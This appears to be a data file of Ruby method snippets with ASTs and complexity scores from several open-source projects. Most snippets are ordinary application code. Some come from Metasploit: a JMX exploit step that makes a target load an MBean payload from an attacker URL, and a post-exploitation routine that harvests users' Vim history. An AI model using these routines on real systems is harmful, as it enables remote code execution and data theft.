{"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_supervisor.rb","start_line":1176,"raw_source":"def create_info_dummy_logger\n    dl_opts = {}\n    dl_opts[:log_level] = ServerEngine::DaemonLogger::INFO\n    logdev = Fluent::Test::DummyLogDevice.new\n    logger = ServerEngine::DaemonLogger.new(logdev, dl_opts)\n    $log = Fluent::Log.new(logger)\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_info_dummy_logger\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dl_opts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dl_opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"log_level\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServerEngine\"]},\"DaemonLogger\"]},\"INFO\"]}]},{\"type\":\"lvasgn\",\"children\":[\"logdev\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Test\"]},\"DummyLogDevice\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServerEngine\"]},\"DaemonLogger\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"logdev\"]},{\"type\":\"lvar\",\"children\":[\"dl_opts\"]}]}]},{\"type\":\"gvasgn\",\"children\":[\"$log\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Log\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"logger\"]}]}]}]}]}","id":"434995aa-7387-490b-9f6a-a00a0115c099"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/events.rb","start_line":148,"raw_source":"def on_error(request, response, e)\n      @handlers.reverse_each { |handler| handler.on_error request, response, e }\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"on_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]},{\"type\":\"arg\",\"children\":[\"response\"]},{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@handlers\"]},\"reverse_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"handler\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"handler\"]},\"on_error\",{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}","id":"b4beb2b2-08e7-4fbb-97d9-ad815bea8d80"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb","start_line":58,"raw_source":"def loot_host\n    datastore['NS_IP'] || '127.0.0.1'\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"loot_host\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NS_IP\"]}]},{\"type\":\"str\",\"children\":[\"127.0.0.1\"]}]}]}","id":"f3821c14-34be-49bf-8eb2-7407c9bbfbda"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/java_jmx_server.rb","start_line":283,"raw_source":"def load_payload_from_url(conn_stub)\n    vprint_status(\"Creating javax.management.loading.MLet MBean...\")\n\n    begin\n      res = send_jmx_create_mbean(\n        object_number: conn_stub[:object_number],\n        uid_number: conn_stub[:uid].number,\n        uid_time: conn_stub[:uid].time,\n        uid_count: conn_stub[:uid].count,\n        name: 'javax.management.loading.MLet'\n      )\n    rescue ::Rex::Proto::Rmi::Exception => e\n      case e.message\n      when 'javax.management.InstanceAlreadyExistsException'\n        vprint_good(\"javax.management.loading.MLet already exists\")\n        res = true\n      when 'java.lang.SecurityException'\n        vprint_error(\" The provided user hasn't enough privileges\")\n        res = nil\n      else\n        vprint_error(\"createMBean raised unexpected exception #{e.message}\")\n        res = nil\n      end\n    end\n\n    if res.nil?\n      vprint_error(\"The request to createMBean failed\")\n      return false\n    end\n\n    vprint_status(\"Getting javax.management.loading.MLet instance...\")\n    begin\n      res = send_jmx_get_object_instance(\n        object_number: conn_stub[:object_number],\n        uid_number: conn_stub[:uid].number,\n        uid_time: conn_stub[:uid].time,\n        uid_count: conn_stub[:uid].count,\n        name: 'DefaultDomain:type=MLet'\n      )\n    rescue ::Rex::Proto::Rmi::Exception => e\n      vprint_error(\"getObjectInstance returned unexpected exception: #{e.message}\")\n      return false\n    end\n\n    if res.nil?\n      vprint_error(\"The request to GetObjectInstance failed\")\n      return false\n    end\n\n    vprint_status(\"Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...\")\n\n    begin\n      res = send_jmx_invoke(\n        object_number: conn_stub[:object_number],\n        uid_number: conn_stub[:uid].number,\n        uid_time: conn_stub[:uid].time,\n        uid_count: conn_stub[:uid].count,\n        object: 'DefaultDomain:type=MLet',\n        method: 'getMBeansFromURL',\n        args: { 'java.lang.String' => \"#{get_uri}/mlet\" }\n      )\n    rescue ::Rex::Proto::Rmi::Exception => e\n      vprint_error(\"invoke() returned unexpected exception: #{e.message}\")\n      return false\n    end\n\n    if res.nil?\n      vprint_error(\"The call to getMBeansFromURL failed\")\n      return false\n    end\n\n    true\n  end","complexity_score":74.6,"ast_json":"{\"type\":\"def\",\"children\":[\"load_payload_from_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn_stub\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Creating javax.management.loading.MLet MBean...\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_jmx_create_mbean\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object_number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_stub\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"object_number\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uid_number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_stub\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uid\"]}]},\"number\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uid_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_stub\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uid\"]}]},\"time\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uid_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_stub\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uid\"]}]},\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"javax.management.loading.MLet\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Proto\"]},\"Rmi\"]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"javax.management.InstanceAlreadyExistsException\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"str\",\"children\":[\"javax.management.loading.MLet already exists\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"java.lang.SecurityException\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\" The provided user hasn't enough privileges\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"createMBean raised unexpected exception \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"nil\",\"children\":[]}]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"The request to createMBean failed\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Getting javax.management.loading.MLet instance...\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_jmx_get_object_instance\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object_number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_stub\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"object_number\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uid_number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_stub\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uid\"]}]},\"number\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uid_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_stub\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uid\"]}]},\"time\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uid_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_stub\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uid\"]}]},\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"DefaultDomain:type=MLet\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Proto\"]},\"Rmi\"]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"getObjectInstance returned unexpected exception: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"The request to GetObjectInstance failed\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_jmx_invoke\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object_number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_stub\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"object_number\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uid_number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_stub\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uid\"]}]},\"number\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uid_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_stub\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uid\"]}]},\"time\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uid_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_stub\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uid\"]}]},\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object\"]},{\"type\":\"str\",\"children\":[\"DefaultDomain:type=MLet\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"getMBeansFromURL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"java.lang.String\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_uri\"]}]},{\"type\":\"str\",\"children\":[\"/mlet\"]}]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Proto\"]},\"Rmi\"]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"invoke() returned unexpected exception: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"The call to getMBeansFromURL failed\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"474af73f-2851-456a-942c-8eca9f022780"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/filters/available_filters.rb","start_line":67,"raw_source":"def filter_for(key, no_memoization: false)\n        filter = get_initialized_filter(key, no_memoization)\n\n        raise ::Queries::Filters::MissingError if filter.nil?\n\n        filter\n      rescue ::Queries::Filters::InvalidError => e\n        Rails.logger.error \"Failed to register filter for #{key}: #{e} \\n\" \\\n                           \"Falling back to non-existing filter.\"\n        non_existing_filter(key)\n      rescue ::Queries::Filters::MissingError => e\n        Rails.logger.error \"Failed to find filter for #{key}: #{e} \\n\" \\\n                           \"Falling back to non-existing filter.\"\n        non_existing_filter(key)\n      end","complexity_score":16.3,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"kwoptarg\",\"children\":[\"no_memoization\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filter\",{\"type\":\"send\",\"children\":[null,\"get_initialized_filter\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"no_memoization\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Queries\"]},\"Filters\"]},\"MissingError\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"filter\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Queries\"]},\"Filters\"]},\"InvalidError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to register filter for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"str\",\"children\":[\" \\n\"]}]},{\"type\":\"str\",\"children\":[\"Falling back to non-existing filter.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"non_existing_filter\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Queries\"]},\"Filters\"]},\"MissingError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to find filter for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"str\",\"children\":[\" \\n\"]}]},{\"type\":\"str\",\"children\":[\"Falling back to non-existing filter.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"non_existing_filter\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]},null]}]}","id":"fd7a7ab8-ec65-455a-bfdd-3be91a6afdd3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/background_migration/backfill_has_remediations_of_vulnerability_reads_spec.rb","start_line":144,"raw_source":"def create_identifier(overrides = {})\n    attrs = {\n      project_id: project.id,\n      external_id: \"CVE-2018-1234\",\n      external_type: \"CVE\",\n      name: \"CVE-2018-1234\",\n      fingerprint: SecureRandom.hex(20)\n    }.merge(overrides)\n\n    vulnerability_identifiers.create!(attrs)\n  end","complexity_score":9.35,"ast_json":"{\"type\":\"def\",\"children\":[\"create_identifier\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"overrides\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attrs\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"external_id\"]},{\"type\":\"str\",\"children\":[\"CVE-2018-1234\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"external_type\"]},{\"type\":\"str\",\"children\":[\"CVE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"CVE-2018-1234\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\",{\"type\":\"int\",\"children\":[20]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"overrides\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vulnerability_identifiers\"]},\"create!\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]}]}","id":"9b5966b7-c8e5-4333-8dbb-3eba89891135"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/orders/billing_address_controller.rb","start_line":9,"raw_source":"def new\n          @address = @order.build_bill_address\n          if @order.user.present?\n            @address.first_name = @order.user.first_name\n            @address.last_name = @order.user.last_name\n            @address.phone = @order.user.phone\n          end\n        end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"new\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@address\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"build_bill_address\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"user\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@address\"]},\"first_name=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"user\"]},\"first_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@address\"]},\"last_name=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"user\"]},\"last_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@address\"]},\"phone=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"user\"]},\"phone\"]}]}]},null]}]}]}","id":"86d11962-3a18-4f89-b6fb-97e6dca38cf5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/load_balancing/host.rb","start_line":280,"raw_source":"def query_and_release(...)\n          if low_timeout_for_host_queries?\n            query_and_release_fast_timeout(...)\n          else\n            query_and_release_old(...)\n          end\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"query_and_release\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"low_timeout_for_host_queries?\"]},{\"type\":\"send\",\"children\":[null,\"query_and_release_fast_timeout\",{\"type\":\"forwarded_args\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"query_and_release_old\",{\"type\":\"forwarded_args\",\"children\":[]}]}]}]}","id":"a73fa060-221f-4b88-bb48-5ab11e8b1d15"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/linux/gather/enum_users_history.rb","start_line":120,"raw_source":"def get_vim_history(user, home)\n    vprint_status(\"Extracting Vim history for #{user}\")\n    vim_hist = cat_file(\"#{home}/.viminfo\")\n    save(\"Vim history for #{user}\", vim_hist) unless vim_hist.blank? || vim_hist =~ /No such file or directory/\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_vim_history\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"home\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Extracting Vim history for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vim_hist\",{\"type\":\"send\",\"children\":[null,\"cat_file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"home\"]}]},{\"type\":\"str\",\"children\":[\"/.viminfo\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vim_hist\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vim_hist\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"No such file or directory\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},null,{\"type\":\"send\",\"children\":[null,\"save\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Vim history for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"lvar\",\"children\":[\"vim_hist\"]}]}]}]}]}","id":"6fccb13c-88c0-40f1-ac3f-624665022026"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/extensions/ar_adapter/ar_dba.rb","start_line":10,"raw_source":"def spid\n    select_value(\"SELECT pg_backend_pid()\").to_i\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"spid\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"select_value\",{\"type\":\"str\",\"children\":[\"SELECT pg_backend_pid()\"]}]},\"to_i\"]}]}","id":"a7ee206a-41da-45c8-bee3-e0fefda31bc6"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/db/migrate/20230905060223_add_regex_to_custom_attribute_definition.rb","start_line":2,"raw_source":"def change\n    add_column :custom_attribute_definitions, :regex_pattern, :string\n    add_column :custom_attribute_definitions, :regex_cue, :string\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"custom_attribute_definitions\"]},{\"type\":\"sym\",\"children\":[\"regex_pattern\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"custom_attribute_definitions\"]},{\"type\":\"sym\",\"children\":[\"regex_cue\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]}]}]}","id":"7fe8074e-26cf-4b05-97b9-61f43e47f02e"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/work_packages/abstract_work_package.rb","start_line":326,"raw_source":"def mark_notifications_as_read\n      find('[data-test-selector=\"mark-notification-read-button\"]').click\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"mark_notifications_as_read\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"[data-test-selector=\\\"mark-notification-read-button\\\"]\"]}]},\"click\"]}]}","id":"d3bf77bb-78df-447e-ad61-184f538225c3"}
